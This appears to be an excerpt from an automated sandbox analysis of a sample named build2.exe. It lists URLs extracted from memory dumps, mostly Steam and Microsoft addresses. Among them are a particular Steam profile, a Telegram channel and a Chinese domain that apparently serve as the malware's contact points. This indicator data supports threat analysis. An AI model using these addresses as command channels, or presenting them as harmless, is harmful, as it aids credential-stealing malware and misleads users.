Source: build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=1_BxDGVvfXwv&am
Source: build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: lzShU2RYJa.exe, 00000004.00000003.1761924489.0000000009A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mrodevicemgr.officeapps.live.com/mrodevicemgrsvc/api
Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: build2.exe, 00000008.00000002.1936973508.0000000000898000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/8
Source: build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199673019888
Source: build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: build2.exe, 00000007.00000002.1750385027.0000000001AA0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.00000000008D9000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888
Source: build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888/badges
Source: build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888/inventory/
Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/765611996730198889
Source: build2.exe, 00000008.00000002.1936973508.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888A
Source: build2.exe, 00000007.00000002.1750385027.0000000001AA0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888ve74rMozilla/5.0
Source: build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: build2.exe, 00000008.00000003.1930302675.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.00000000009B8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ost.exe
Source: build2.exe, 00000008.00000003.1930302675.00000000009A2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.00000000009B8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe
Source: build2.exe, 00000007.00000002.1750385027.0000000001AA0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/irfail
Source: build2.exe, 00000007.00000002.1750385027.0000000001AA0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/irfailAt
